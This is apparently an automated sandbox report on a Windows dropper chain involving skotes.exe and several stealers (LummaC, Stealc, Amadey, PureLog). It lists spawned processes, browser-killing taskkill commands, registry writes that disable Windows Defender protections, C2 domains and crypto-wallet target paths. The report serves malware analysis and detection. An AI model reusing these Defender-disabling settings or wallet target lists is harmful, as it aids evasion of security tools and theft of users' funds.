Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00675C10 LdrInitializeThunk,RegOpenKeyExA,RegCloseKey,

0_2_00675C10

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A652B mov eax, dword ptr fs:[00000030h]	0_2_006A652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006AA302 mov eax, dword ptr fs:[00000030h]	0_2_006AA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00E2A302 mov eax, dword ptr fs:[00000030h]	3_2_00E2A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00E2652B mov eax, dword ptr fs:[00000030h]	3_2_00E2652B

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\ON80Y93WBYHTIEIKRLTF27273JXE.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: f48847f8be.exe PID: 3108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f48847f8be.exe PID: 1432, type: MEMORYSTR

LummaC encrypted strings found

Source: bfa374134d.exe, 00000007.00000003.1700897566.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: bfa374134d.exe, 00000007.00000003.1700897566.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: bfa374134d.exe, 00000007.00000003.1700897566.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: bfa374134d.exe, 00000007.00000003.1700897566.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: bfa374134d.exe, 00000007.00000003.1700897566.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: bfa374134d.exe, 00000007.00000003.1700897566.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: bfa374134d.exe, 00000007.00000003.1700897566.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: bfa374134d.exe, 00000007.00000003.1700897566.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: bfa374134d.exe, 00000007.00000003.1700897566.0000000004DB0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe "C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe "C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe "C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe "C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe "C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe "C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe "C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Process created: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe "C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe"

Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T

Source: 2f7f14fa8e.exe, 0000000C.00000002.1985840043.0000000000412000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 8be8d9c4e9.exe, 0000001D.00000002.2100723896.000000000094E000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: ,Program Manager
Source: file.exe, 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmp, f48847f8be.exe, f48847f8be.exe, 00000008.00000002.1868446329.0000000000443000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Program Manager
Source: firefox.exe, 0000001A.00000002.2139326220.000000D40323B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: f48847f8be.exe, 00000008.00000002.1868446329.0000000000443000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: @Program Manager
Source: file.exe, 00000000.00000002.1429846593.000000000089D000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000003.00000002.1497909248.000000000101D000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: d-Program Manager

Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe

Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016942001\dca2c3185c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016942001\dca2c3185c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016943001\093ffd8e79.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016943001\093ffd8e79.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016944001\45ee3ccff8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016944001\45ee3ccff8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016945001\x0qQ2DH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016945001\x0qQ2DH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016946001\02a06b55a8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016946001\02a06b55a8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016947001\8639af97b9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016947001\8639af97b9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016948001\3ca19a76c8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016948001\3ca19a76c8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016949001\093821f656.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016949001\093821f656.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016950001\741343eac3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016950001\741343eac3.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0068CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_0068CBEA

Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: bfa374134d.exe, 00000007.00000003.2194410371.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.df0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.skotes.exe.df0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1428965317.0000000000671000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1455202411.0000000004960000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1442530653.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2101033367.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1497090625.0000000000DF1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1377327532.00000000047E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2058390837.00000000052E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 2f7f14fa8e.exe PID: 8016, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: bfa374134d.exe PID: 6976, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bfa374134d.exe PID: 7396, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 44.0.fae24101ae.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002C.00000000.2196706188.0000000000922000.00000002.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 00000008.00000003.1815284167.0000000005290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2009852961.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1871163393.00000000014AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1862764887.0000000000031000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2123568208.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2097143287.0000000000031000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f48847f8be.exe PID: 3108, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f48847f8be.exe PID: 1432, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: bfa374134d.exe	String found in binary or memory: LTC\\wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":[""],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Guarda\\IndexedDB","m":["*"],"z":"Wallets/Guarda","d":2,"fs":
Source: bfa374134d.exe	String found in binary or memory: LTC\\wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":[""],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Guarda\\IndexedDB","m":["*"],"z":"Wallets/Guarda","d":2,"fs":
Source: bfa374134d.exe	String found in binary or memory: ,"d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Bitcoin\\wallets","m":["*"],"z":"Wallets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","
Source: bfa374134d.exe	String found in binary or memory: mamcflc","ez":"Math"},{"en":"hnfanknocfeofbddgcijnmhnfnkdnaad","ez":"Coinbase","ldb":true},{"en":"hpglfhgfnhbgpjdenjgmdgoeiappafln","ez":"Guarda"},{"en":"blnieiiffboillknjnepogjhkgnoapac","ez":"EQUA"},{"en":"cjelfplplebdjjenllpjcblmjkfcffne","ez":"Jaxx Liberty
Source: bfa374134d.exe	String found in binary or memory: 1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":[""],"z":"Wallets/Exodus","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Ledger Live","m":[""],"z":"Wallets/Ledger Live","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\atomic\\Local Storage\\leveld
Source: bfa374134d.exe	String found in binary or memory: "},{"en":"ejjladinnckdgjemekebdpeokbikhfci","ez":"Petra"},{"en":"opcgpfmipidbgpenhmajoajpbobppdil","ez":"Sui"},{"en":"aholpfdialjgjfhomihkjbmgjidlcdno","ez":"ExodusWeb3"},{"en":"onhogfjeacnfoofkfgppdlbmlmnplgbn","ez":"Sub"},{"en":"mopnmbcafieddcagagdcbnhejhlod
Source: bfa374134d.exe	String found in binary or memory: "ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"mx":[{"en":"webextension@metamask.io","ez":"MetaMask","et":"\"params\":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d"
Source: bfa374134d.exe, 00000007.00000003.1855030100.0000000001118000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
